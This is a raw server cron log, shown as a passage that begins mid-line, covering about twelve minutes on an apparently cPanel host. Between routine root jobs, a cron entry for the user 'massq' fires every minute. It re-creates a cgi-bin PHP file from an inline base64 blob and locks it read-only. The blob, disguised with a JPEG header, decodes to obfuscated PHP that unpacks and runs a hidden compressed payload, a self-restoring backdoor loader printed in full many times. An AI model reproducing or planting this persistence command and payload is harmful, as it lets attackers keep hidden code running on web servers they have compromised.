7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:55:01 server CROND[23819]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 12:55:01 server CROND[23821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:55:01 server CROND[23820]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 12:56:01 server CROND[23931]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:57:01 server CROND[24100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:57:01 server CROND[24101]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 12:58:01 server CROND[24190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:59:01 server CROND[24267]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:00:01 server CROND[24338]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 13:00:01 server CROND[24340]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 13:00:01 server CROND[24341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:00:01 server CROND[24339]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 13:01:01 server CROND[24470]: (root) CMD (run-parts /etc/cron.hourly)
Apr  8 13:01:01 server CROND[24471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:01:01 server run-parts(/etc/cron.hourly)[24470]: starting 0anacron
Apr  8 13:01:01 server run-parts(/etc/cron.hourly)[24483]: finished 0anacron
Apr  8 13:02:01 server CROND[24648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:03:01 server CROND[24730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:04:01 server CROND[24822]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:05:01 server CROND[24883]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 13:05:01 server CROND[24884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:05:01 server CROND[24885]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 13:05:01 server CROND[24886]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 13:06:01 server CROND[25006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:07:01 server CROND[25183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
